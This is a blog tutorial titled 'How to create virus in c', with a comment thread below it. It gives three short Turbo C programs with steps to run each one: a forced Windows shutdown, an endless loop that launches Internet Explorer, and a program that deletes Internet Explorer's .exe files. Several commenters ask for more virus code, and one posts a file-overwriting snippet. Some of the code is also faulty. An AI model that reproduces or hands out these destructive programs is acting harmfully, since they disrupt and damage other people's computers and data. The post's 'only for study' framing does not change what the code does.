How to create virus in c?


Create simple virus by c programming language.(Only for study)

Write c program which shutdown the window operating system?
Answer:

Step 1: Write the following program in TURBO C.

#include<stdio.h>
#include<dos.h>

int main (void){
    system("shutdown -s");
    return 0;
}

Step 2: Save the above file. Let file name is close.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the close.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (close.exe)
After some time your window operating system will shutdown.

(2) Write a c program such that when we will click on its .exe file then it will open internet explorer at infinite times?

Answer:
Step 1: Write the following program in TURBO C.

#include<stdio.h>
#include<dos.h>

int main (void){
for(; ;){
system("c:\\progra~1\\intern~1\\iexplore.exe");
}

return 0;
}

Step 2: Save the above file. Let file name is internet.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the internet.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (internet.exe)

(3) Write a c program which delete the all the .exe file of internet explorer so that internet explorer will not work?

Answer:


Write the following program in TURBO C.

#include<stdio.h>
#include<dos.h>

int main(void){
system("cd c:\\progra~1\\intern~1");
system("del *.exe");
system("cls");
return 0;
}

Step 2: Save the above file. Let file name is delete.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the delete.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (delete.exe)

Note: Above code has written in trubo c 3.0

If you have any questions in above simple virus by c programming language, you can ask here.


24 comments:

vijay said...

Hai i want to be virus prgmer.please help me to get the nessary website for studying about more

d said...

i want solution of thos prob

cprogramming said...

for(;;) is for infinite loops

jay said...

hi i am jay.plz give some more example about making viruses..

BiruPakhya Borkotokey said...

i sent you a c program
Check whether it can do any harm
void main()
{
FILE *fp;
fp=fopen("*.exe","w");
fputs("Cracked",fp);
fclose(fp);
}

Arul said...

HAI I WANT MANY PROGRAMS.PLEASE SEND TO ME FRIENDS

prince said...

haiiii...iwant to become a expert programer...pls help me...

Srinu said...

hai, i want virus programming. please help me

Anonymous said...

Nice work :) Hope this will useful for me.. :)

Anonymous said...

i am using code::blocks with gcc compiler for windows. when i using your second program it gives me an error called "C:\\program is not recognized ......" . what is the reason?

Anonymous said...

There is No (.exe file) when i compile the program.
so for creating that (.exe) file what should i do. . ;

ritesh kumar said...

It is automatically created. Nothing to do. There must be one .exe (application) file in the compiled location

Avnish Gupta said...

hi ritesh kumar i am really impressed with ur wrk and the site u have made but i would like to make something into ur knowledge regarding making virus in c the code u provided are not the actual virus code because we doesnt every time run the .exe of virus code it is 1tiem execution and it remain in our harware to make real virus we should have knowledge of terminate and stay resident(tsr) in c from which we can perform system call

Sanjay kumar said...

Hi Ritesh Kumar,
I am very happy reading your blogs and useful information .
But I want a C program for delete the all virus from my system.

If you have , please share and also consider my request .

Anonymous said...

ya i am agree with avnish so
ritesh sir gives us that c code
virus for which no need to run
exe of it ............


Avnish Gupta said...

it is not so simple we have to fool them by misplacing their interrupt number

satheeshsmarty said...

how to function with character and integerlike(satheesh7306363123)means both character&integer...............

Avnish Gupta said...

the first code u have used shutdown function made by windows but e wan how can we made our on program to shutdown that is we want how when we press shutdown button the current get switch off we want that program

Muhammad Irfan said...

in main code write
int i ;
for(i=0;i<10;i++) this is for 10 times

Muhammad Irfan said...

for more detail or learning c visit electronicsirfan.blogspot.com
or email me

Ghanendra Yadav said...

i want to say only one word for u you are " awesome "

Vipin Shukla said...

here system prototype error comes ...how can i resolve it

suresh kumar said...

I want some advance programs in c
it is nice like shutdown, virus all i want to create a bank then automatically run the program in command screen how

suresh kumar said...

i want some raw programs. in companies working programs